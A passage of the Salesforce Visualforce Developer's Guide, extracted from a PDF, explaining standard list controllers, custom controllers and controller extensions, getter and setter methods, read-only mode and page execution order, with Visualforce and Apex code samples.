<apex:pageBlock rendered= "NOT({!$ObjectType.Lead.accessible})" >
<p >Sorry, but you cannot see the data because you do not have access to the Lead object.
</p >
77
Standard Controllers
</apex:pageBlock >
</apex:page >
Checking for Object Accessibility
78
CHAPTER 6
Standard List Controllers
Standard list controllers allow you to create Visualforce pages that can display or act on a set of records. Examples of existing Salesforce pages that work with a set of records include list pages, related lists, and mass action pages. Standard list controllers can be used with the following objects:
•
Account
•
Asset
•
Campaign
•
Case
•
Contact
•
Contract
•
Idea
•
Lead
•
Opportunity
•
Order
•
Product2
•
Solution
•
User
•
Custom objects
The following topics include additional information about using standard list controllers:
•
Associating a Standard List Controller with a Visualforce Page
•
Accessing Data with List Controllers
•
Using Standard List Controller Actions
•
Using List Views with Standard List Controllers
•
Overriding Tabs Using a Standard List Controller
•
Adding Custom List Buttons using Standard List Controllers
SEE ALSO:
Associating a Standard List Controller with a Visualforce Page
Using a standard list controller is very similar to using a standard controller. First you set the standardController
attribute on the
<apex:page >
component, then you set the recordSetVar
attribute on the same component.
79
Standard List Controllers Accessing Data with List Controllers
For example, to associate a page with the standard list controller for accounts, use the following markup:
<apex:page standardController= "Account" recordSetVar= "accounts" >
Note: When you use the standardController
attribute on the
<apex:page >
tag, you can’t use the controller attribute at the same time.
The recordSetVar
attribute not only indicates that the page uses a list controller, it sets the variable name of the record collection.
This variable can be used to access data in the record collection.
Accessing Data with List Controllers
Once you have associated a page with a list controller, you can refer to the set of records using expression language syntax. For example, to create a simple table of accounts, create a page with the following markup:
<apex:page standardController= "Account" recordSetVar= "accounts" tabstyle= "account" sidebar= "false" >
<apex:pageBlock >
<apex:pageBlockTable value= "{!accounts}" var= "a" >
<apex:column value= "{!a.name}" />
</apex:pageBlockTable >
</apex:pageBlock >
</apex:page >
This results in a page that lists all the account names in your organization:
Note: This page does not specify a filter in the request, so the page is displayed with the last used filter. For information on using filters with list controllers, see
Using List Views with Standard List Controllers
on page 82.
As with queries in the Force.com API, you can use expression language syntax to retrieve data from related records. As with standard controllers, you can traverse up to five levels of child-to-parent relationships and one level of parent-to-child relationships.
When using a standard list controller, the returned records sort on the first column of data, as defined by the current view, even if that
Note:
No more than 10,000 records can be returned by a standard list controller. Custom controllers can work with larger results
sets. See Working with Large Sets of Data on page 96.
SEE ALSO:
Force.com SOQL and SOSL Reference: Relationship Queries
80
Standard List Controllers Using Standard List Controller Actions
Using Standard List Controller Actions
Action methods perform logic or navigation when a page event occurs, such as when a user clicks a button, or hovers over an area of the page. Action methods can be called from page markup by using
{! }
notation in the action
parameter of one of the following tags:
•
creates a button that calls an action
•
creates a link that calls an action
•
•
makes an event (such as “onclick”, “onmouseover”, and so on) on another, named component, call an action
•
defines a new JavaScript function that calls an action
•
calls an action when the page is loaded
The following table describes the action methods that are supported by all standard list controllers. You can associate these actions with any Visualforce component that includes an action
attribute.
Action
save quicksave list cancel first last next previous
Description
Inserts new records or updates existing records that have been changed. After this operation is finished, the save
action returns the user to the original page, if known, or the home page.
Inserts new records or updates existing records that have been changed. Unlike the save
action, quicksave
does not redirect the user to another page.
Returns a PageReference object of the standard list page, based on the most recently used list filter for that object when the filterId
is not specified by the user.
Aborts an edit operation. After this operation is finished, the cancel
action returns the user to the page where the user originally invoked the edit.
Displays the first page of records in the set.
Displays the last page of records in the set.
Displays the next page of records in the set.
Displays the previous page of records in the set.
In the following example, the user specifies a filter for viewing account records. When the user clicks Go, the standard list page displays, using the selected filter.
<apex:page standardController= "Account" recordSetVar= "accounts" >
<apex:form >
<apex:selectList value= "{!filterid}" size= "1" >
<apex:selectOptions value= "{!listviewoptions}" />
</apex:selectList >
<apex:commandButton value= "Go" action= "{!list}" />
</apex:form >
</apex:page >
81
Standard List Controllers Pagination with a List Controller
Pagination with a List Controller
You can add pagination to a page using a list controller by utilizing the next
and previous
actions. For example, if you create a page with the following markup:
<apex:page standardController= "Account" recordSetvar= "accounts" >
<apex:pageBlock title= "Viewing Accounts" >
<apex:form id= "theForm" >
<apex:pageBlockSection >
<apex:dataList var= "a" value= "{!accounts}" type= "1" >
{!a.name}
</apex:dataList >
</apex:pageBlockSection >
<apex:panelGrid columns= "2" >
<apex:commandLink action= "{!previous}" >Previous </apex:commandlink >
<apex:commandLink action= "{!next}" >Next </apex:commandlink >
</apex:panelGrid >
</apex:form >
</apex:pageBlock >
</apex:page >
By default, a list controller returns 20 records on the page. To control the number of records displayed on each page, use a controller extension to set the pageSize
. For information on controller extensions, see
Building a Controller Extension on page 89.
Note: When you use pagination, an exception is thrown when there are modified rows in the collection. This includes any new rows added to the collection through an extension action. The handling of error messages in this case follows the standard behavior and can either be displayed upon the page. For example, you can use the
<apex:pageMessages >
or
<apex:messages > component to display an error message to the user.
Using List Views with Standard List Controllers
Many Salesforce pages include list views that allow you to filter the records displayed on the page. For example, on the opportunities home page, you can choose to view a list of only the opportunities you own by selecting
My Opportunities
from the list view drop-down. On a page that is associated with a list controller, you can also use list views.
For example, to create a simple list of accounts with a list view, create a page with the following markup:
<apex:page standardController= "Account" recordSetvar= "accounts" >
<apex:pageBlock title= "Viewing Accounts" >
<apex:form id= "theForm" >
<apex:panelGrid columns= "2" >
<apex:outputLabel value= "View:" />
<apex:selectList value= "{!filterId}" size= "1" >
<apex:actionSupport event= "onchange" rerender= "list" />
<apex:selectOptions value= "{!listviewoptions}" />
</apex:selectList >
</apex:panelGrid >
<apex:pageBlockSection >
<apex:dataList var= "a" value= "{!accounts}" id= "list" >
{!a.name}
</apex:dataList >
</apex:pageBlockSection >
</apex:form >
82
Standard List Controllers
</apex:pageBlock >
</apex:page >
When you open that page, you'll see something like the following:
Using List Views with Standard List Controllers
This page is associated with the standard account controller and the
<apex:selectlist >
component is populated by
{!listviewoptions}
, which evaluates to the list views the user can see. When the user chooses a value from the drop-down list, it is bound to the filterId
property for the controller. When the filterId
is changed, the records available to the page changes, so, when the
<apex:datalist >
is updated, that value is used to update the list of records available to the page.
You can also use a view list on an edit page, like the following:
<apex:page standardController= "Opportunity" recordSetVar= "opportunities" tabStyle= "Opportunity" sidebar= "false" >
<apex:form >
<apex:pageBlock >
<apex:pageMessages/ >
<apex:pageBlock >
<apex:panelGrid columns= "2" >
<apex:outputLabel value= "View:" />
<apex:selectList value= "{!filterId}" size= "1" >
<apex:actionSupport event= "onchange" rerender= "opp_table" />
<apex:selectOptions value= "{!listviewoptions}" />
</apex:selectList >
</apex:panelGrid >
</apex:pageBlock >
<apex:pageBlockButtons >
<apex:commandButton value= "Save" action= "{!save}" />
</apex:pageBlockButtons >
<apex:pageBlockTable value= "{!opportunities}" var= "opp" id= "opp_table" >
<apex:column value= "{!opp.name}" />
<apex:column headerValue= "Stage" >
<apex:inputField value= "{!opp.stageName}" />
</apex:column >
<apex:column headerValue= "Close Date" >
<apex:inputField value= "{!opp.closeDate}" />
</apex:column >
</apex:pageBlockTable >
</apex:pageBlock >
83
Standard List Controllers Editing Records with List Controllers
</apex:form >
</apex:page >
Note: If the user changes the list view, an exception is thrown if there are modified rows in the collection. The handling of error messages in this case follows the standard behavior and can either be displayed upon the page. For example, you can use the
<apex:pageMessages >
or
<apex:messages >
component to display an error message to the user.
Editing Records with List Controllers
You can edit a set of records using list controllers, too. For example, if you create a page with the following markup:
<apex:page standardController= "Opportunity" recordSetVar= "opportunities" tabStyle= "Opportunity" sidebar= "false" >
<apex:form >
<apex:pageBlock >
<apex:pageMessages />
<apex:pageBlockButtons >
<apex:commandButton value= "Save" action= "{!save}" />
</apex:pageBlockButtons >
<apex:pageBlockTable value= "{!opportunities}" var= "opp" >
<apex:column value= "{!opp.name}" />
<apex:column headerValue= "Stage" >
<apex:inputField value= "{!opp.stageName}" />
</apex:column >
<apex:column headerValue= "Close Date" >
<apex:inputField value= "{!opp.closeDate}" />
</apex:pageBlock >
</apex:form >
</apex:page >
</apex:column >
</apex:pageBlockTable > you see a page that allows you to update and save the
Stage
and
Close Date
on your opportunities, like the following:
84
Standard List Controllers Editing Records with List Controllers
For more information, see Mass-Updating Records with a Custom List Controller
on page 136.
Note: Command buttons and links that are associated with save
, quicksave
, or edit
actions in a list controller are not rendered if the user does not have the appropriate permissions. Likewise if no particular record is associated with a page, command buttons and links associated with the edit
actions are not rendered.
85
CHAPTER 7
Custom Controllers and Controller Extensions
Standard controllers can provide all the functionality you need for a Visualforce page because they include the same logic that is used for a standard page. For example, if you use the standard Accounts controller, clicking a Save button in a Visualforce page results in the same behavior as clicking Save on a standard Account edit page.
However, if you want to override existing functionality, customize the navigation through an application, use callouts or Web services, or if you need finer control for how information is accessed for your page, you can write a custom controller or a controller extension using Apex:
•
What are Custom Controllers and Controller Extensions?
•
•
Building a Controller Extension
•
•
•
Considerations for Creating Custom Controllers and Controller Extensions
•
Order of Execution in a Visualforce Page
•
Testing Custom Controllers and Controller Extensions
•
Validation Rules and Custom Controllers
•
Using the transient
Keyword
What are Custom Controllers and Controller Extensions?
A custom controller is an Apex class that implements all of the logic for a page without leveraging a standard controller. Use custom controllers when you want your Visualforce page to run entirely in system mode, which does not enforce the permissions and field-level security of the current user.
A controller extension is an Apex class that extends the functionality of a standard or custom controller. Use controller extensions when:
•
You want to leverage the built-in functionality of a standard controller but override one or more actions, such as edit, view, save, or delete.
•
You want to add new actions.
•
You want to build a Visualforce page that respects user permissions. Although a controller extension class executes in system mode, if a controller extension extends a standard controller, the logic from the standard controller does not execute in system mode.
Instead, it executes in user mode, in which permissions, field-level security, and sharing rules of the current user apply.
Note:
Although custom controllers and controller extension classes execute in system mode and thereby ignore user permissions and field-level security, you can choose whether they respect a user's organization-wide defaults, role hierarchy, and sharing rules by using the with sharing
keywords in the class definition. For information, see “Using the with sharing
or without sharing
Keywords” in the
Apex Developer Guide
.
86
Custom Controllers and Controller Extensions Building a Custom Controller
Building a Custom Controller
A custom controller is an Apex class that uses the default, no-argument constructor for the outer, top-level class. You cannot create a custom controller constructor that includes parameters.
To create a custom controller:
1. From Setup, enter
Apex Classes
in the
Quick Find
box, then select Apex Classes.
2. Click New.
3. Click Version Settings to specify the version of Apex and the API used with this class. If your organization has installed managed packages from the AppExchange, you can also specify which version of each managed package to use with this class. Use the default values for all versions. This associates the class with the most recent version of Apex and the API, as well as each managed package.
You can specify an older version of a managed package if you want to access components or functionality that differs from the most recent package version. You can specify an older version of Apex and the API to maintain specific behavior.
4. In the class editor, enter the Apex code for the class. A single class can be up to 1 million characters in length, not including comments, test methods, or classes defined using
@isTest
.
5. Click Save to save your changes and return to the class detail screen, or click Quick Save to save your changes and continue editing your class. Your Apex class must compile correctly before you can save your class.
The following class is a simple example of a custom controller: public class MyController { private final Account account; public MyController() { account = [SELECT Id, Name, Site FROM Account
WHERE Id = :ApexPages.currentPage().getParameters().get( 'id' )];
} public Account getAccount() { return account;
} public PageReference save() { update account; return null ;
}
}
The following Visualforce markup shows how the custom controller above can be used in a page:
<apex:page controller= "myController" tabStyle= "Account" >
<apex:form >
<apex:pageBlock title= "Congratulations {!$User.FirstName}" >
You belong to Account Name: <apex:inputField value= "{!account.name}" />
<apex:commandButton action= "{!save}" value= "save" />
</apex:pageBlock >
</apex:form >
</apex:page >
The custom controller is associated with the page because of the controller
attribute of the
<apex:page >
component.
87
Custom Controllers and Controller Extensions Building a Custom Controller
As with standard controllers and controller extensions, custom controller methods can be referenced with
{! }
notation in the associated page markup. In the example above, the getAccount
method is referenced by the
<apex:inputField >
tag's value
attribute, while the
<apex:commandButton >
tag references the save
method with its action
attribute.
Note: Like other Apex classes, all custom controllers run in system mode. Consequently, the current user's credentials are not used to execute controller logic, and the user's permissions and field-level security do not apply.
You can choose whether a custom controller respects a user's organization-wide defaults, role hierarchy, and sharing rules by using the with sharing
keywords in the class definition. For information, see “Using the with sharing
or without sharing
Keywords” in the
Apex Developer Guide
.
A custom controller can also be used to create new records. For example: public class NewAndExistingController { public Account account { get; private set; } public NewAndExistingController() {
Id id = ApexPages.currentPage().getParameters().get( 'id' ); account = (id == null ) ?
new Account() :
[SELECT Name, Phone, Industry FROM Account WHERE Id = :id];
} public PageReference save() { try { upsert (account);
} catch (System.DMLException e) {
ApexPages.addMessages(e); return null ;
}
// After successful Save, navigate to the default view page
PageReference redirectSuccess = new ApexPages.StandardController(Account).view(); return (redirectSuccess);
}
}
The following Visualforce markup shows how the custom controller above can be used in a page:
<apex:page controller= "NewAndExistingController" tabstyle= "Account" >
<apex:form >
<apex:pageBlock mode= "edit" >
<apex:pageMessages/ >
<apex:pageBlockSection >
<apex:inputField value= "{!Account.name}" />
<apex:inputField value= "{!Account.phone}" />
<apex:inputField value= "{!Account.industry}" />
</apex:pageBlockSection >
<apex:pageBlockButtons location= "bottom" >
<apex:commandButton value= "Save" action= "{!save}" />
</apex:pageBlockButtons >
</apex:pageBlock >
</apex:form >
</apex:page >
88
Custom Controllers and Controller Extensions Building a Controller Extension
Building a Controller Extension
A controller extension is any Apex class containing a constructor that takes a single argument of type
ApexPages.StandardController
or
CustomControllerName
, where
CustomControllerName
is the name of a custom controller you want to extend.
The following class is a simple example of a controller extension: public class myControllerExtension { private final Account acct;
// The extension constructor initializes the private member
// variable acct by using the getRecord method from the standard
// controller.
public myControllerExtension(ApexPages.StandardController stdController) { this .acct = (Account)stdController.getRecord();
} public String getGreeting() { return 'Hello ' + acct.name + ' (' + acct.id + ')' ;
}
}
The following Visualforce markup shows how the controller extension from above can be used in a page:
<apex:page standardController= "Account" extensions= "myControllerExtension" >
{!greeting} <p/ >
<apex:form >
<apex:inputField value= "{!account.name}" /> <p/ >
<apex:commandButton value= "Save" action= "{!save}" />
</apex:form >
</apex:page >
The extension is associated with the page using the extensions
attribute of the
<apex:page >
component.
As with all controller methods, controller extension methods can be referenced with
{! }
notation in page markup. In the example above, the
{!greeting}
expression at the top of the page references the controller extension's getGreeting
method.
Because this extension works in conjunction with the Account standard controller, the standard controller methods are also available.
For example, the value
attribute in the
<apex:inputField >
tag retrieves the name of the account using standard controller functionality. Likewise, the
<apex:commandButton >
tag references the standard account save
method with its action attribute.
Multiple controller extensions can be defined for a single page through a comma-separated list. This allows for overrides of methods with the same name. For example, if the following page exists:
<apex:page standardController= "Account" extensions= "ExtOne,ExtTwo" showHeader= "false" >
<apex:outputText value= "{!foo}" />
</apex:page > with the following extensions: public class ExtOne { public ExtOne(ApexPages.StandardController acon) { }
89
Custom Controllers and Controller Extensions Building a Custom List Controller public String getFoo() { return 'foo-One' ;
}
} public class ExtTwo { public ExtTwo(ApexPages.StandardController acon) { } public String getFoo() { return 'foo-Two' ;
}
}
The value of the
<apex:outputText >
component renders as foo-One
. Overrides are defined by whichever methods are defined in the “leftmost” extension, or, the extension that is first in the comma-separated list. Thus, the getFoo
method of
ExtOne
is overriding the method of
ExtTwo
.
Note: Like other Apex classes, controller extensions run in system mode. Consequently, the current user's credentials are not used to execute controller logic, and the user's permissions and field-level security do not apply. However, if a controller extension extends a standard controller, the logic from the standard controller does not execute in system mode. Instead, it executes in user mode, in which the permissions, field-level security, and sharing rules of the current user apply.
You can choose whether a controller extension respects a user's organization-wide defaults, role hierarchy, and sharing rules by using the with sharing
keywords in the class definition. For information, see “Using the with sharing
or without sharing
Keywords” in the
Apex Developer Guide
.
Building a Custom List Controller
A custom list controller is similar to a standard list controller. Custom list controllers can implement Apex logic that you define to show or act on a set of records.
For example you can create the following custom list controller based on a SOQL query: public class opportunityList2Con {
// ApexPages.StandardSetController must be instantiated
// for standard list controllers public ApexPages.StandardSetController setCon { get { if (setCon == null ) { setCon = new ApexPages.StandardSetController(Database.getQueryLocator(
} set;
[SELECT Name, CloseDate FROM Opportunity]));
} return setCon;
}
// Initialize setCon and return a list of records public List<Opportunity> getOpportunities() { return (List<Opportunity>) setCon.getRecords();
}
}
90
Custom Controllers and Controller Extensions Building a Custom List Controller
Note: The list of sObjects returned by getRecords()
is immutable. For example, you can’t call clear()
on it. You can make changes to the sObjects contained in the list, but you can’t add items to or remove items from the list itself.
The following Visualforce markup shows how the custom controller above can be used in a page:
<apex:page controller= "opportunityList2Con" >
<apex:pageBlock >
<apex:pageBlockTable value= "{!opportunities}" var= "o" >
<apex:column value= "{!o.Name}" />
<apex:column value= "{!o.CloseDate}" />
</apex:pageBlockTable >
</apex:pageBlock >
</apex:page >
You can also create a custom list controller that uses anti- and semi-joins as part of the SOQL query. The following code is implemented as an extension to the account standard controller: public with sharing class AccountPagination { private final Account acct;
// The constructor passes in the standard controller defined
// in the markup below public AccountPagination(ApexPages.StandardSetController controller) { this .acct = (Account)controller.getRecord();
} public ApexPages.StandardSetController accountRecords { get { if (accountRecords == null ) { accountRecords = new ApexPages.StandardSetController(
Database.getQueryLocator([SELECT Name FROM Account WHERE Id NOT IN
(SELECT AccountId FROM Opportunity WHERE IsClosed = true )]));
} return accountRecords;
} private set;
} public List<Account> getAccountPagination() { return (List<Account>) accountRecords.getRecords();
}
}
The page that displays these records uses a mix of standard list controller actions, but depends on iterating over the records returned from the custom list controller:
<apex:page standardController= "Account" recordSetVar= "accounts" extensions= "AccountPagination" >
<apex:pageBlock title= "Viewing Accounts" >
<apex:form id= "theForm" >
<apex:pageBlockSection >
<apex:dataList value= "{!accountPagination}" var= "acct" type= "1" >
{!acct.name}
</apex:dataList >
</apex:pageBlockSection >
<apex:panelGrid columns= "2" >
<apex:commandLink action= "{!previous}" >Previous </apex:commandlink >
91
Custom Controllers and Controller Extensions Controller Methods
</apex:form >
</apex:pageBlock >
</apex:page >
<apex:commandLink action= "{!next}" >Next </apex:commandlink >
</apex:panelGrid >
Controller Methods
Visualforce markup can use the following types of controller extension and custom controller methods:
•
Action
•
Getter
•
Setter
Action Methods
Action methods perform logic or navigation when a page event occurs, such as when a user clicks a button, or hovers over an area of the page. Action methods can be called from page markup by using
{! }
notation in the action
parameter of one of the following tags:
•
creates a button that calls an action
•
creates a link that calls an action
•
•
makes an event (such as “onclick”, “onmouseover”, and so on) on another, named component, call an action
•
defines a new JavaScript function that calls an action
•
calls an action when the page is loaded
For example, in the sample page in Building a Custom Controller
on page 87, the controller's save
method is called by the action parameter of the
<apex:commandButton >
tag. Other examples of action methods are discussed in Defining Action Methods
on page 119.
Getter Methods
Getter methods return values from a controller. Every value that is calculated by a controller and displayed in a page must have a
on page 87, the controller includes a getAccount
method. This method allows the page markup to reference the account
member variable in the controller class with
{! }
notation. The value
parameter of the
<apex:inputField >
tag uses this notation to access the account, and dot notation to display the account's name. Getter methods must always be named get
Variable
.
Important: It’s a best practice for getter methods to be idempotent, that is, to not have side effects. For example, don’t increment a variable, write a log message, or add a new record to the database. Visualforce doesn’t define the order in which getter methods are called, or how many times they might be called in the course of processing a request. Design your getter methods to produce the same outcome, whether they are called once or multiple times for a single page request.
92
Custom Controllers and Controller Extensions Controller Methods
Setter Methods
Setter methods pass user-specified values from page markup to a controller. Any setter methods in a controller are automatically executed before any action methods.
For example, the following markup displays a page that implements basic search functionality for Leads. The associated controller includes getter and setter methods for the search box input, and then uses the search text to issue a SOSL query when the user clicks
Go!. Although the markup doesn’t explicitly call the search text setter method, it executes before the doSearch
action method when a user clicks the command button:
<apex:page controller= "theController" >
<apex:form >
<apex:pageBlock mode= "edit" id= "block" >
<apex:pageBlockSection >
<apex:pageBlockSectionItem >
<apex:outputLabel for= "searchText" >Search Text </apex:outputLabel >
<apex:panelGroup >
<apex:inputText id= "searchText" value= "{!searchText}" />
<apex:commandButton value= "Go!" action= "{!doSearch}" rerender= "block" status= "status" />
</apex:panelGroup >
</apex:pageBlockSectionItem >
</apex:pageBlockSection >
<apex:actionStatus id= "status" startText= "requesting..." />
<apex:pageBlockSection title= "Results" id= "results" columns= "1" >
<apex:pageBlockTable value= "{!results}" var= "l" rendered= "{!NOT(ISNULL(results))}" >
<apex:column value= "{!l.name}" />
<apex:column value= "{!l.email}" />
<apex:column value= "{!l.phone}" />
</apex:pageBlockTable >
</apex:pageBlockSection >
</apex:pageBlock >
</apex:form >
</apex:page >
The following class is the controller for the page markup above: public class theController {
String searchText;
List<Lead> results; public String getSearchText() { return searchText;
} public void setSearchText( String s) { searchText = s;
} public List<Lead> getResults() { return results;
}
93
Custom Controllers and Controller Extensions Controller Methods public PageReference doSearch() { results = (List<Lead>)[FIND :searchText RETURNING Lead(Name, Email, Phone)][0]; return null ;
}
}
While a getter method is always required to access values from a controller, it’s not always necessary to include a setter method to pass values into a controller. If a Visualforce component is bound to an sObject that is stored in a controller, the sObject's fields are automatically set if changed by the user, as long as the sObject is saved or updated by a corresponding action method. An example of this behavior
is shown in the sample page in Building a Custom Controller
on page 87.
Setter methods must always be named set
Variable
.
Important: It’s a best practice for setter methods to be idempotent, that is, to not have side effects. For example, don’t increment a variable, write a log message, or add a new record to the database. Visualforce doesn’t define the order in which setter methods are called, or how many times they might be called in the course of processing a request. Design your setter methods to produce the same outcome, whether they are called once or multiple times for a single page request.
Getting and Setting Data with a Custom Extension or Controller
There is no guaranteed order in which Apex methods and variables are processed by a controller extension or custom controller. Therefore, do not allow controller and extension classes to rely on another method being run, call that method directly. This applies specifically to setting variables and accessing data from the database.
For example, in the following custom controller, the first method, getContactMethod1
, always returns the correct value because it doesn’t assume that the contact variable c
already exists. The second method, getContactMethod2
, however, sometimes returns the correct value, but not every time if c
hasn’t yet been set.
public class conVsBad {
Contact c; public Contact getContactMethod1() { if (c == null ) c = [SELECT Id, Name FROM Contact LIMIT 1]; return c;
} public Contact getContactMethod2() { return c;
}
}
The following custom controller has the exact same methods. However, getContactMethod2
calls contactMethod1
, so the variable c
is always set, and always contains the correct value when returned.
public class conVsGood {
Contact c; public Contact getContactMethod1() { if (c == null ) c = [SELECT Id, Name FROM Contact LIMIT 1]; return c;
} public Contact getContactMethod2() { return getContactMethod1();
94
Custom Controllers and Controller Extensions Controller Class Security
}
}
The following markup shows two pages that call these controllers. The Visualforce markup is identical, only the controller name is changed:
<apex:page controller= "conVsGood" > getContactMethod2(): {!contactMethod2.name} <br/ > getContactMethod1(): {!contactMethod1.name}
</apex:page >
<apex:page controller= "conVsBad" > getContactMethod2(): {!contactMethod2.name} <br/ > getContactMethod1(): {!contactMethod1.name}
</apex:page >
Controller Class Security
Like other Apex classes, you can specify whether a user can execute methods in a custom controller or controller extension class based on the user's profile.
Note: If you’ve installed a managed package in your org, you can set security only for the Apex classes in the package that are declared as global
or for classes that contain methods declared as webService
.
If users have the “Author Apex” permission, they can access all Apex classes in the associated organization, regardless of the security settings for individual classes.
Permission for an Apex class is checked only at the top level. For example, if class A calls class B, and a user profile has access only to class A but not class B, the user can still execute the code in class A. Likewise, if a Visualforce page uses a custom component with an associated controller, security is only checked for the controller associated with the page. The controller associated with the custom component executes regardless of permissions.
To set Apex class security from the class list page:
1. From Setup, enter
Apex Classes
in the
Quick Find
box, then select Apex Classes.
2. Next to the name of the class that you want to restrict, click Security.
3. Select the profiles that you want to enable from the Available Profiles list and click Add, or select the profiles that you want to disable from the Enabled Profiles list and click Remove.
4. Click Save.
To set Apex class security from the class detail page:
1. From Setup, enter
Apex Classes
in the
Quick Find
box, then select Apex Classes.
2. Click the name of the class that you want to restrict.
3. Click Security.
4. Select the profiles that you want to enable from the Available Profiles list and click Add, or select the profiles that you want to disable from the Enabled Profiles list and click Remove.
5. Click Save.
SEE ALSO:
Security Tips for Apex and Visualforce Development
95
Custom Controllers and Controller Extensions Working with Large Sets of Data
Working with Large Sets of Data
Visualforce custom controllers and controller extensions are subject to Apex governor limits. For more information about governor limits, see
Execution Governors and Limits
on page 709. Additionally, Visualforce iteration components, such as
<apex:pageBlockTable > and
<apex:repeat >
, are limited to a maximum of 1,000 items in the collection they iterate over.
Sometimes your Visualforce pages may need to work with or display larger sets of data, but not need to make modifications to that data; for example, if you are providing custom reporting and analytics. Visualforce offers developers a “read-only mode”, which relaxes the limit on the number of rows which can be queried in one request, and increases the limit on the number of collection items which can be iterated over within the page.
You can specify read-only mode either for an entire page or, with certain limitations, on individual components or methods.
Note: You can only iterate over large sets of data if you specify read-only mode for the entire page.
SEE ALSO:
Setting Read-Only Mode for an Entire Page
Setting Read-Only Mode for Controller Methods
Setting Read-Only Mode for an Entire Page
To enable read-only mode for an entire page, set the readOnly
attribute on the
<apex:page >
component to true
.
For example, here is a simple page that will be processed in read-only mode:
<apex:page controller= "SummaryStatsController" readOnly= "true" >
<p >Here is a statistic: {!veryLargeSummaryStat} </p >
</apex:page >
The controller for this page is also simple, but illustrates how you can calculate summary statistics for display on a page: public class SummaryStatsController { public Integer getVeryLargeSummaryStat() {
Integer closedOpportunityStats =
[SELECT COUNT() FROM Opportunity WHERE Opportunity.IsClosed = true ]; return closedOpportunityStats;
}
}
Normally, queries for a single Visualforce page request may not retrieve more than 50,000 rows. In read-only mode, this limit is relaxed to allow querying up to 1,000,000 rows.
In addition to querying many more rows, the readOnly
attribute also increases the maximum number of items in a collection that can be iterated over using components such as
<apex:dataTable >
,
<apex:dataList >
, and
<apex:repeat >
. This limit increased from 1,000 items to 10,000. Here is a simple controller and page demonstrating this: public class MerchandiseController { public List<Merchandise__c> getAllMerchandise() {
List<Merchandise__c> theMerchandise =
[SELECT Name, Price__c FROM Merchandise__c LIMIT 10000]; return (theMerchandise);
96
Custom Controllers and Controller Extensions Setting Read-Only Mode for Controller Methods
}
}
<apex:page controller= "MerchandiseController" readOnly= "true" >
<p >Here is all the merchandise we have: </p >
<apex:dataTable value= "{!AllMerchandise}" var= "product" >
<apex:column >
<apex:facet name= "header" >Product </apex:facet >
<apex:outputText value= "{!product.Name}" />
</apex:column >
<apex:column >
<apex:facet name= "header" >Price </apex:facet >
<apex:outputText value= "{!product.Price__c}" />
</apex:column >
</apex:dataTable >
</apex:page >
While Visualforce pages that use read-only mode for the entire page can’t use data manipulation language (DML) operations, they can call getter, setter, and action methods which affect form and other user interface elements on the page, make additional read-only queries, and so on.
Setting Read-Only Mode for Controller Methods
Visualforce controller methods can, with some important limitations, use the Apex
ReadOnly
annotation, even if the page itself isn’t in read-only mode.
Visualforce controller methods with the
@ReadOnly
annotation automatically take advantage of read-only mode. However, restrictions on the
@ReadOnly
annotation means that, for Visualforce controller methods, a read-only method must also have the
@RemoteAction
annotation. The
@RemoteAction
annotation requires that the method be:
•
Either global
or public
•
static
Enabling read-only mode by using the
@ReadOnly
annotation must be done on the top level method call. If the top level method call doesn’t have the
@ReadOnly
annotation, the normal restrictions on maximum queried rows are enforced for the entire request, even if secondary methods are annotated with
@ReadOnly
.
Using the
@ReadOnly
annotation on a controller method allows you to retrieve a larger collection of records as the result of a Visualforce expression. However, it doesn’t increase the maximum number of items in a collection for iteration components. If you want to iterate over larger collections of results, you need to enable read-only mode for the entire page.
SEE ALSO:
Setting Read-Only Mode for an Entire Page
"ReadOnly Annotation" in the Force.com Apex Code Developer's Guide
Considerations for Creating Custom Controllers and Controller
Extensions
Note the following considerations when creating controller extensions and custom controllers:
97
Custom Controllers and Controller Extensions Order of Execution in a Visualforce Page
•
Unless a class has a method defined as webService
, custom extension and controller classes and methods are generally defined as public
. If a class includes a web service method, it must be defined as global
.
•
Use sets, maps, or lists when returning data from the database. This makes your code more efficient because the code makes fewer trips to the database.
•
The Apex governor limits for Visualforce controller extensions and custom controllers are the same as the limits for anonymous block or WSDL methods. For more information about governor limits, see
Execution Governors and Limits
in the Appendix.
•
If you are building a custom controller or controller extension, be careful that you do not inadvertently expose sensitive data that would normally be hidden from users. Consider using the with sharing
keywords on class definitions to enforce permissions.
Also be careful using Web services, which are secured as top-level entry points by the profile, but execute in the system context once they are initiated.
•
Custom Extension or Controller on page 94.
•
You can't use data manipulation language (DML) operations in a “getxxx” method in a controller. For example, if your controller had a getName
method, you could not use insert
or update
in the method to create an object.
•
You can't use data manipulation language (DML) operations in a constructor method in a controller.
•
You can't use the
@future
annotation in a “getxxx” or “setxxx” method in a controller, or in the constructor for a controller.
•
Primitive Apex data types such as String or Integer are passed by value to the component's controller.
•
Non-primitive Apex data types such as lists and sObjects are passed by reference to component's controller. This means that if component's controller changes the name of an account, the changes are available in page's controller.
•
If your org uses person accounts
–
When referencing an account record's name
field with a custom controller using the
<apex:inputField >
component you must specify isPersonAccount
in your query.
–
If you create a new account and set name
, the record will be a business account. If you create a new account and set lastname
, it will be a person account.
–
As a best practice, create a custom name formula field that will render properly for both person accounts and business accounts, then use that field instead of the standard field in your Visualforce pages.
–
If you plan on including your Visualforce page in a Force.com AppExchange package, in your controller or controller extension, you cannot explicitly reference fields that exist only in a person account.
Order of Execution in a Visualforce Page
When a user views a Visualforce page, instances of the controller, extensions, and components associated with the page are created by the server. The order in which these elements are executed can affect how the page is displayed to the user.
To fully understand the order of execution of elements on a Visualforce page, you must first understand the page's lifecycle–that is, how the page is created and destroyed during the course of a user session. The lifecycle of a page is determined not just by the content of the page, but also by how the page was requested. There are two types of Visualforce page requests:
•
A get request is an initial request for a page either made when a user enters an URL or when a link or button is clicked that takes the user to a new page.
•
A postback request is made when user interaction requires a page update, such as when a user clicks on a Save button and triggers a save action.
For specific details of the two types of requests, examples illustrating the lifecycle of a page, and tips on how to handle execution order when writing your own custom controllers and controller extensions, see:
•
Order of Execution for Visualforce Page Get Requests
98
Custom Controllers and Controller Extensions Order of Execution for Visualforce Page Get Requests
•
Order of Execution for Visualforce Page Postback Requests
•
Examples of Visualforce Page Execution Order
Note: The maximum response size from a Visualforce page request must be below 15 MB.
Order of Execution for Visualforce Page Get Requests
A get request is an initial request for a page either made when a user enters an URL or when a link or button is clicked that takes the user to a new page. The following diagram shows how a Visualforce page interacts with a controller extension or a custom controller class during a get request:
99
Custom Controllers and Controller Extensions Order of Execution for Visualforce Page Get Requests
In the diagram above the user initially requests a page, either by entering a URL or clicking a link or button. This initial page request is called the get request.
1. The constructor methods on the associated custom controller or controller extension classes are called, instantiating the controller objects.
